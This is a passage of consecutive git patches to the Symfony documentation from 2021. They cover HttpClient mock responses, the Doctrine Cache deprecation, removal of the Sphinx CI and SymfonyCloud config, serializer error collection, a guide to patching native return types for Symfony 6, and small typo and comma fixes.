-* ``getRequestUrl()`` - returns the URL the request would be sent to
+* ``getRequestMethod()`` - returns the HTTP method;
+* ``getRequestUrl()`` - returns the URL the request would be sent to;
 * ``getRequestOptions()`` - returns an array containing other information about
   the request such as headers, query parameters, body content etc.
 
@@ -1490,19 +1488,19 @@ Usage example::
         ],
     ]);
 
-    // returns "DELETE"
     $mockResponse->getRequestMethod();
+    // returns "DELETE"
 
-    // returns "https://example.com/api/article/1337"
     $mockResponse->getRequestUrl();
+    // returns "https://example.com/api/article/1337"
 
-    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
     $mockResponse->getRequestOptions()['headers'];
+    // returns ["Accept: */*", "Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"]
 
-Example
-~~~~~~~
+Full Example
+~~~~~~~~~~~~
 
-The following standalone example demonstrates a way to use HTTP client and
+The following standalone example demonstrates a way to use the HTTP client and
 test it in a real application::
 
     // ExternalArticleService.php

From a69f6b3c0e56d02868ff8b0cdbafafd6a43cb453 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Tue, 8 Jun 2021 14:20:08 +0300
Subject: [PATCH 1120/5766] MicroKernelTrait::getBundlesPath

---
 configuration/multiple_kernels.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index bed2b75a60c..4bea4797349 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -91,15 +91,9 @@ files so they don't collide with the files from ``src/Kernel.php``::
     {
         use MicroKernelTrait;
 
-        public function registerBundles()
+        public function getProjectDir(): string
         {
-            // load only the bundles strictly needed for the API
-            $contents = require $this->getProjectDir().'/config/api_bundles.php';
-            foreach ($contents as $class => $envs) {
-                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
-                    yield new $class();
-                }
-            }
+            return \dirname(__DIR__);
         }
 
         public function getCacheDir(): string
@@ -131,6 +125,12 @@ files so they don't collide with the files from ``src/Kernel.php``::
             $routes->import('../config/api/{routes}/*.yaml');
             // ... load only the config routes strictly needed for the API
         }
+
+        private function getBundlesPath(): string
+        {
+            // load only the bundles strictly needed for the API
+            return $this->getProjectDir().'/config/api_bundles.php';
+        }
     }
 
 Step 3) Define the Kernel Configuration

From ee96e23f04141cf580495e1367b1328233f69698 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Sep 2021 16:19:18 +0200
Subject: [PATCH 1121/5766] Minor RST syntax issue in the name of a reference

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 0a56a81faf7..b4e351cd32a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -422,7 +422,7 @@ have a very specific workflow:
 
 #. :ref:`Make a request <testing-applications-arrange>`;
 #. :ref:`Interact with the page <testing-applications-act>` (e.g. click on a link or submit a form);
-#. :Ref:`Test the response <testing-application-assertions>`;
+#. :ref:`Test the response <testing-application-assertions>`;
 #. Rinse and repeat.
 
 .. note::

From 552d9dbe8067e8675288d0161bb902d061605c33 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Thu, 9 Sep 2021 17:57:01 +0200
Subject: [PATCH 1122/5766] Document deprecation of Doctrine Cache

---
 cache.rst                                      |  5 +++++
 components/cache.rst                           |  5 +++++
 components/cache/adapters/doctrine_adapter.rst | 10 +++++-----
 3 files changed, 15 insertions(+), 5 deletions(-)

diff --git a/cache.rst b/cache.rst
index 632f5f4905f..ccd1b6ed91f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -30,6 +30,11 @@ The following example shows a typical usage of the cache::
 Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
+.. deprecated:: 5.4
+
+    Support for Doctrine Cache was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 .. _cache-configuration-with-frameworkbundle:
 
 Configuring Cache with FrameworkBundle
diff --git a/components/cache.rst b/components/cache.rst
index 02c04a347fa..29c1f0fd42b 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -20,6 +20,11 @@ The Cache Component
     Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and
     :doc:`/components/cache/adapters/doctrine_adapter`.
 
+    .. deprecated:: 5.4
+
+        Support for Doctrine Cache was deprecated in Symfony 5.4
+        and it will be removed in Symfony 6.0.
+
 Installation
 ------------
 
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 78ca23ae1ea..59c89c1c135 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -7,6 +7,11 @@
 Doctrine Cache Adapter
 ======================
 
+.. deprecated:: 5.4
+
+    The ``DoctrineAdapter`` and ``DoctrineProvider`` classes were deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing
 you to use these providers in your application as if they were Symfony Cache adapters.
 
@@ -39,9 +44,4 @@ third parameters::
     A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the
     component to use any PSR6-compatible implementations with Doctrine-compatible classes.
 
-    .. deprecated:: 5.4
-
-        The ``DoctrineProvider`` class was deprecated in Symfony 5.4 and it will
-        be removed in Symfony 6.0.
-
 .. _`Doctrine Cache`: https://github.com/doctrine/cache

From 04a6ce7aae0a086eb1f678ff70735ac8e8519e31 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 10 Sep 2021 10:20:19 +0200
Subject: [PATCH 1123/5766] The Doctrine adapter is not a database adapter

---
 components/cache/adapters/filesystem_adapter.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 772a6d7b6a9..2a168d2522e 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -45,8 +45,7 @@ and cache root path as constructor parameters::
     choices. If throughput is paramount, the in-memory adapters
     (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
     :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`Doctrine <doctrine-adapter>` and :ref:`PDO <pdo-doctrine-adapter>`)
-    are recommended.
+    (:ref:`PDO <pdo-doctrine-adapter>`) are recommended.
 
 .. note::
 

From 6a7aed8817076da5331cfe1a8eb9bcefeb3c2005 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 13 Sep 2021 17:29:38 +0200
Subject: [PATCH 1124/5766] Add Mercure support for Docker

---
 setup/symfony_server.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420a822ab6..aa23a26a61e 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -355,6 +355,7 @@ Kafka         9092      ``KAFKA_``
 MailCatcher   1025/1080 ``MAILER_``
               or 25/80
 Blackfire     8707      ``BLACKFIRE_``
+Mercure       80        Always exposes ``MERCURE_PUBLIC_URL`` and ``MERCURE_URL`` (only works with the ``dunglas/mercure`` Docker image)
 ============= ========= ======================
 
 You can open web management interfaces for the services that expose them:
@@ -369,7 +370,7 @@ Or click on the links in the "Server" section of the web debug toolbar.
 .. tip::
 
     To debug and list all exported environment variables, run ``symfony
-    var:export``.
+    var:export --debug``.
 
 .. tip::
 

From 0652757b39ff3a0856b00413466e41c539c1d614 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 13 Sep 2021 17:37:21 +0200
Subject: [PATCH 1125/5766] Remove Sphinx build and SymfonyCloud deployment

---
 .github/workflows/ci.yaml | 26 ---------------------
 .symfony.cloud.yaml       | 48 ---------------------------------------
 .symfony/routes.yaml      | 11 ---------
 .symfony/services.yaml    |  1 -
 4 files changed, 86 deletions(-)
 delete mode 100644 .symfony.cloud.yaml
 delete mode 100644 .symfony/routes.yaml
 delete mode 100644 .symfony/services.yaml

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 8af52fa5a47..6c10a4eaf9b 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -9,32 +9,6 @@ on:
             - 'github-comments'
 
 jobs:
-    sphinx-build:
-        name: Build (Sphinx)
-
-        runs-on: ubuntu-latest
-
-        container: python:3.7-alpine
-
-        steps:
-            -   name: "Checkout"
-                uses: actions/checkout@v2
-
-            -   name: "Display Python version"
-                run: python -c "import sys; print(sys.version)"
-
-            -   name: "Install Sphinx"
-                run: pip install --user sphinx
-
-            -   name: "Install dependencies"
-                run: apk add --no-cache git make
-
-            -   name: "Install custom requirements via pip"
-                run: pip install -r _build/.requirements.txt
-
-            -   name: "Build documentation"
-                run: make -C _build SPHINXOPTS="-nqW -j auto" html
-
     symfony-docs-builder-build:
         name: Build (symfony-tools/docs-builder)
 
diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml
deleted file mode 100644
index bcb1a48bf08..00000000000
--- a/.symfony.cloud.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-# This file describes an application. You can have multiple applications
-# in the same project.
-
-# The name of this app. Must be unique within a project.
-name: symfonydocs
-
-# The toolstack used to build the application.
-type: "php:7.2"
-
-# The configuration of app when it is exposed to the web.
-web:
-    # The public directory of the app, relative to its root.
-    document_root: "/_build/output"
-    index_files:
-      - index.html
-    whitelist:
-      - \.html$
-      - \.txt$
-
-      # CSS and Javascript.
-      - \.css$
-      - \.js$
-      - \.hbs$
-
-      # image/* types.
-      - \.gif$
-      - \.png$
-      - \.ico$
-      - \.svgz?$
-
-      # fonts types.
-      - \.ttf$
-      - \.eot$
-      - \.woff$
-      - \.otf$
-
-      # robots.txt.
-      - /robots\.txt$
-
-# The size of the persistent disk of the application (in MB).
-disk: 512
-
-# The hooks that will be performed when the package is deployed.
-hooks:
-    build: |
-      cd _build
-      composer install --prefer-dist --no-progress
-      php build.php
diff --git a/.symfony/routes.yaml b/.symfony/routes.yaml
deleted file mode 100644
index caf4875f732..00000000000
--- a/.symfony/routes.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-https://{default}/:
-  cache:
-    cookies:
-      - '*'
-    default_ttl: 0
-    enabled: true
-    headers:
-      - Accept
-      - Accept-Language
-  type: upstream
-  upstream: symfonydocs:http
diff --git a/.symfony/services.yaml b/.symfony/services.yaml
deleted file mode 100644
index ec9369f2b00..00000000000
--- a/.symfony/services.yaml
+++ /dev/null
@@ -1 +0,0 @@
-# Keeping this file empty to not deploy unused services.

From 1c5b478736287cf4419ef19937a2faee2270876c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Mon, 13 Sep 2021 18:39:33 +0200
Subject: [PATCH 1126/5766] [Serializer] Document
 `DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS`

---
 components/serializer.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..07e083b4374 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1176,6 +1176,35 @@ to ``true``::
 
 .. _component-serializer-handling-circular-references:
 
+Collecting type errors while denormalizing
+------------------------------------------
+
+When denormalizing a payload to an object with type hints, if the payload
+contains a property that doesn't have the same type as the object, an exception
+is thrown.
+
+It's possible to collect all exceptions at once, and to get the object partially
+denormalized::
+
+    try {
+        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+        /** @var NotNormalizableValueException */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        };
+
+        return $this->json($violations, 400);
+    }
+
 Handling Circular References
 ----------------------------
 

From fbf0adfdb2631d66176fe2bdaae396dcc6a5d79b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 12 Sep 2021 12:44:44 +0200
Subject: [PATCH 1127/5766] Document DebugClassLoader type patch functionality

---
 setup/upgrade_major.rst | 151 +++++++++++++++++++++++++++++++++++++---
 1 file changed, 141 insertions(+), 10 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 1562be9442b..b52b0ad61de 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,7 +1,7 @@
 .. index::
     single: Upgrading; Major Version
 
-Upgrading a Major Version (e.g. 4.4.0 to 5.0.0)
+Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -30,7 +30,7 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 5.0.0), all deprecated features and
+When the major version is released (e.g. 6.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
 ``4.4.*``), you should be able to upgrade without a problem. That means that
@@ -95,6 +95,12 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
+.. caution::
+
+    You will probably see many deprecations about incompatible native
+    return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
+    for guidance in fixing these deprecations.
+
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
@@ -135,12 +141,12 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "4.4.*",
-    +         "symfony/cache": "5.0.*",
-    -         "symfony/config": "4.4.*",
-    +         "symfony/config": "5.0.*",
-    -         "symfony/console": "4.4.*",
-    +         "symfony/console": "5.0.*",
+    -         "symfony/cache": "5.4.*",
+    +         "symfony/cache": "6.0.*",
+    -         "symfony/config": "5.4.*",
+    +         "symfony/config": "6.0.*",
+    -         "symfony/console": "5.4.*",
+    +         "symfony/console": "6.0.*",
               "...": "...",
 
               "...": "A few libraries starting with
@@ -154,7 +160,7 @@ starting with ``symfony/`` to the new major version:
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
+this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
 
 .. code-block:: diff
 
@@ -162,7 +168,7 @@ this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
           "symfony": {
               "allow-contrib": false,
     -       "require": "4.4.*"
-    +       "require": "5.0.*"
+    +       "require": "6.0.*"
           }
       }
 
@@ -186,3 +192,128 @@ Next, use Composer to download new versions of the libraries:
 In some rare situations, the next major version *may* contain backwards-compatibility
 breaks. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major version)
 included in the Symfony repository for any BC break that you need to be aware of.
+
+.. _upgrading-native-return-types:
+
+Upgrading to Symfony 6: Add Native Return Types
+-----------------------------------------------
+
+.. versionadded:: 5.4
+
+    The return-type checking and fixing features were introduced in Symfony 5.4.
+
+Symfony 6 will come with native PHP return types to (almost all) methods.
+
+In PHP, if the parent has a return type declaration, any class implementing
+or overriding the method must have the return type as well. However, you
+can add a return type before the parent adds one. This means that it is
+important to add the native PHP return types to your classes before
+upgrading to Symfony 6.0. Otherwise, you will get incompatible declaration
+errors.
+
+When debug mode is enabled (typically in the dev and test environment),
+Symfony will trigger deprecations for every incompatible method
+declarations. For instance, the ``UserInterface::getRoles()`` method will
+have an ``array`` return type in Symfony 6. In Symfony 5.4, you will get a
+deprecation notice about this and you must add the return type declaration
+to your ``getRoles()`` method.
+
+To help with this, Symfony provides a script that can add these return
+types automatically for you. Make sure you installed the ``symfony/error-handler``
+component. When installed, generate a complete class map using Composer and
+run the script to iterate over the class map and fix any incompatible
+method:
+
+.. code-block:: terminal
+
+    # Make sure "exclude-from-classmap" is not filled in your "composer.json". Then dump the autoloader:
+
+    # "-o" is important! This forces Composer to find all classes
+    $ composer dump-autoload -o
+
+    # patch all incompatible method declarations
+    $ ./vendor/bin/patch-type-declarations
+
+.. tip::
+
+    This feature is not limited to Symfony packages. It will also help you
+    add types and prepare for other dependencies in your project.
+
+The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS``
+env var. The value of this env var is url-encoded (e.g.
+``param1=value2&param2=value2``), the following parameters are available:
+
+``force``
+    Enables fixing return types, the value must be one of:
+
+    * ``2`` to add all possible return types (default, recommended for applications);
+    * ``1`` to add return types only to tests, final, internal or private methods;
+    * ``phpdoc`` to only add ``@return`` docblock annotations to the incompatible
+      methods, or ``#[\ReturnTypeWillChange]`` if it's triggered by the PHP engine.
+
+``php``
+    The target version of PHP - e.g. ``7.1`` doesn't generate "object"
+    types (which were introduced in 7.2). This defaults to the PHP version
+    used when running the script.
+
+``deprecations``
+    Set to ``0`` to disable deprecations. Otherwise, a deprecation notice
+    when a child class misses a return type while the parent declares an
+    ``@return`` annotation (defaults to ``1``).
+
+If there are specific files that should be ignored, you can set the
+``SYMFONY_PATCH_TYPE_EXCLUDE`` env var to a regex. This regex will be
+matched to the full path to the class and each matching path will be
+ignored (e.g. ``SYMFONY_PATCH_TYPE_EXCLUDE="/tests\/Fixtures\//"``).
+Classes in the ``vendor/`` directory are always ignored.
+
+.. tip::
+
+    The script does not care about code style. Run your code style fixer,
+    or `PHP CS Fixer`_ with the ``phpdoc_trim_consecutive_blank_line_separation``,
+    ``no_superfluous_phpdoc_tags`` and ``ordered_imports`` rules, after
+    patching the types.
+
+.. _patching-types-for-open-source-maintainers:
+
+.. sidebar:: Patching Types for Open Source Maintainers
+
+    Open source bundles and packages need to be more cautious with adding
+    return types, as adding a return type forces all users extending the
+    class to add the return type as well. The recommended approach is to
+    use a 2 step process:
+
+    1. First, create a minor release (i.e. without backwards compatibility
+       breaks) where you add types that can be safely introduced and add
+       ``@return`` PHPDoc to all other methods:
+
+       .. code-block:: terminal
+
+           # Add type declarations to all internal, final, tests and private methods.
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=1&php=7.4" ./vendor/bin/patch-type-declarations
+
+           # Add PHPDoc to the leftover public and protected methods
+           $ SYMFONY_DEPRECATIONS_HELPER="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
+
+       After running the scripts, check your classes and add more ``@return``
+       PHPDoc where they are missing. The deprecations and patch script
+       work purely based on the PHPDoc information. Users of this release
+       will get deprecation notices telling them to add the missing return
+       types from your package to their code.
+
+       If you didn't need any PHPDoc and all your method declarations are
+       already compatible with Symfony, you can safely allow ``^6.0`` for
+       the Symfony dependencies. Otherwise, you have to continue with (2).
+
+    2. Create a new major release (i.e. *with* backwards compatibility
+       breaks) where you add types to all methods:
+
+       .. code-block:: terminal
+
+           # Update the "php" parameter to match your minimum required PHP version
+           $ SYMFONY_DEPRECATIONS_HELPER="force=2&php=7.4" ./vendor/bin/patch-type-declarations
+
+       Now, you can safely allow ``^6.0`` for the Symfony dependencies.
+
+.. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer

From 2ea547511e18f9a2eadb8f68ea9566cbde563a99 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Tue, 14 Sep 2021 07:20:45 +0200
Subject: [PATCH 1128/5766] Corrected typo in error_pages.rst

Removed extra comma before "event" word.
---
 controller/error_pages.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 04a1ee4e09b..a94294573a0 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -319,7 +319,7 @@ error pages.
 .. note::
 
     If your listener calls ``setThrowable()`` on the
-    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`,
+    :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`
     event, propagation will be stopped and the response will be sent to
     the client.
 

From 717cc5b27ceaaa92acbffa1d63a2aff026acb889 Mon Sep 17 00:00:00 2001
From: Andrius <andrius.ulins@gmail.com>
Date: Tue, 14 Sep 2021 13:14:26 +0300
Subject: [PATCH 1129/5766] Update database.rst

Rename session index `sessions_sess_time_idx` to `sessions_sess_lifetime_idx ` since index is added to `sess_lifetime` column
---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 56cd9e27384..cacc56b18fa 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -415,7 +415,7 @@ PostgreSQL
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );
-    CREATE INDEX sessions_sess_time_idx ON sessions (sess_lifetime);
+    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
 
 Microsoft SQL Server
 ....................

From 20f057ce635f30dcd8f4d96a14e445df7da87913 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 13 Sep 2021 21:54:51 +0200
Subject: [PATCH 1130/5766] Corrected Typo

Removed extra "s" in "fails"
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 5be489b2fb2..96f3115f77e 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -229,7 +229,7 @@ Making Tests Fail
 By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
 deprecation notices will make tests fail. Alternatively, you can configure
 an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
-``max[total]=320`` for instance. It will make the tests fails only if a
+``max[total]=320`` for instance. It will make the tests fail only if a
 higher number of deprecation notices is reached (``0`` is the default
 value).
 

From 3927225f4aefafc7197e9b015b47c57f9d4c1d5e Mon Sep 17 00:00:00 2001
From: Adam Williams <lol768@users.noreply.github.com>
Date: Sun, 12 Sep 2021 23:35:17 +0100
Subject: [PATCH 1131/5766] Document PHP compatibility

---
 contributing/community/releases.rst | 16 ++++++++++++++++
 setup.rst                           |  4 ++++
 2 files changed, 20 insertions(+)

diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 80d5033accd..a34a9111df9 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -101,6 +101,22 @@ deprecations, you can upgrade to the new major version (e.g. 5.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 
+PHP Compatibility
+-----------------
+
+The **minimum** PHP version is decided for each major Symfony version by consensus
+amongst the :doc:`core team </contributing/code/core_team>` and documented as
+part of the :ref:`technical requirements for running Symfony applications
+<symfony-tech-requirements>`.
+
+Throughout each Symfony release's support lifetime, all released versions of PHP
+including new major versions will be supported. In this way, the **maximum** supported
+version of PHP for a maintained Symfony release is the latest released
+one that is publicly available.
+
+For out-of-support releases of Symfony, the latest PHP version at time of EOL is the last
+supported PHP version. Newer versions of PHP may or may not function.
+
 Rationale
 ---------
 
diff --git a/setup.rst b/setup.rst
index 68200d31020..e4049c4a1bc 100644
--- a/setup.rst
+++ b/setup.rst
@@ -20,6 +20,10 @@ Before creating your first Symfony application you must:
 * Install PHP 7.1 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
+
+  * Note that all newer, released versions of PHP will be supported during the
+    lifetime of each Symfony release (including new major versions).
+    For example, PHP 8.0 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called

From 00583e4b6234c8dfd9bd55a6c912f90618e2ed65 Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Tue, 14 Sep 2021 21:27:06 +0200
Subject: [PATCH 1132/5766] [CS] Add missing commas

---
 components/form.rst                    | 4 ++--
 components/property_access.rst         | 2 +-
 components/var_dumper/advanced.rst     | 8 ++++----
 components/var_exporter.rst            | 4 ++--
 configuration.rst                      | 4 ++--
 configuration/secrets.rst              | 2 +-
 create_framework/unit_testing.rst      | 4 ++--
 doctrine/multiple_entity_managers.rst  | 4 ++--
 mailer.rst                             | 2 +-
 mercure.rst                            | 4 ++--
 reference/configuration/framework.rst  | 6 +++---
 reference/forms/types/birthday.rst     | 2 +-
 reference/forms/types/date.rst         | 2 +-
 reference/forms/types/dateinterval.rst | 2 +-
 reference/forms/types/datetime.rst     | 2 +-
 reference/forms/types/range.rst        | 2 +-
 reference/forms/types/time.rst         | 2 +-
 reference/forms/types/week.rst         | 2 +-
 security.rst                           | 2 +-
 security/form_login_setup.rst          | 4 ++--
 security/ldap.rst                      | 4 ++--
 service_container/tags.rst             | 2 +-
 testing/http_authentication.rst        | 2 +-
 23 files changed, 36 insertions(+), 36 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..dfbcfdfdcb4 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -686,7 +686,7 @@ option when building each field:
                 'constraints' => [
                     new NotBlank(),
                     new Type(\DateTime::class),
-                ]
+                ],
             ])
             ->getForm();
 
@@ -713,7 +713,7 @@ option when building each field:
                         'constraints' => [
                             new NotBlank(),
                             new Type(\DateTime::class),
-                        ]
+                        ],
                     ])
                     ->getForm();
                 // ...
diff --git a/components/property_access.rst b/components/property_access.rst
index 5cd5095908a..285f9d24b83 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -72,7 +72,7 @@ You can also use multi dimensional arrays::
         ],
         [
             'first_name' => 'Ryan',
-        ]
+        ],
     ];
 
     var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter'
diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst
index 0f429c52012..ded04cca902 100644
--- a/components/var_dumper/advanced.rst
+++ b/components/var_dumper/advanced.rst
@@ -200,7 +200,7 @@ method::
     $dumper->dump($var, $output, [
         // 1 and 160 are the default values for these options
         'maxDepth' => 1,
-        'maxStringLength' => 160
+        'maxStringLength' => 160,
     ]);
 
 The output format of a dumper can be fine tuned by the two flags
@@ -223,7 +223,7 @@ next to its content::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -248,7 +248,7 @@ similar to PHP's short array notation::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -273,7 +273,7 @@ using the logical OR operator ``|``::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index bf8f9b1f85a..2e9ab500169 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -120,12 +120,12 @@ created by using the special ``"\0"`` property name to define their internal val
 
     // Creates an SplObjectHash where $info1 is associated to $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
-        "\0" => [$object1, $info1, $object2, $info2...]
+        "\0" => [$object1, $info1, $object2, $info2...],
     ]);
 
     // creates an ArrayObject populated with $inputArray
     $theObject = Instantiator::instantiate(ArrayObject::class, [
-        "\0" => [$inputArray]
+        "\0" => [$inputArray],
     ]);
 
 .. _`OPcache`: https://www.php.net/opcache
diff --git a/configuration.rst b/configuration.rst
index ecc34b99ddc..0533334074c 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -521,7 +521,7 @@ This example shows how you could configure the database connection using an env
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => '%env(resolve:DATABASE_URL)%',
-                ]
+                ],
             ]);
         };
 
@@ -888,7 +888,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
                     ->bind('$projectDir', '%kernel.project_dir%');
-            
+
             // ...
         };
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 15f4d194f5b..79d0071fde3 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -145,7 +145,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
         $container->loadFromExtension('doctrine', [
             'dbal' => [
                 'password' => '%env(DATABASE_PASSWORD)%',
-            ]
+            ],
         ]);
 
 The actual value will be resolved at runtime: container compilation and cache
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 4db1ba57b9b..b71eea34f50 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -26,7 +26,7 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
                 <directory suffix=".php">./src</directory>
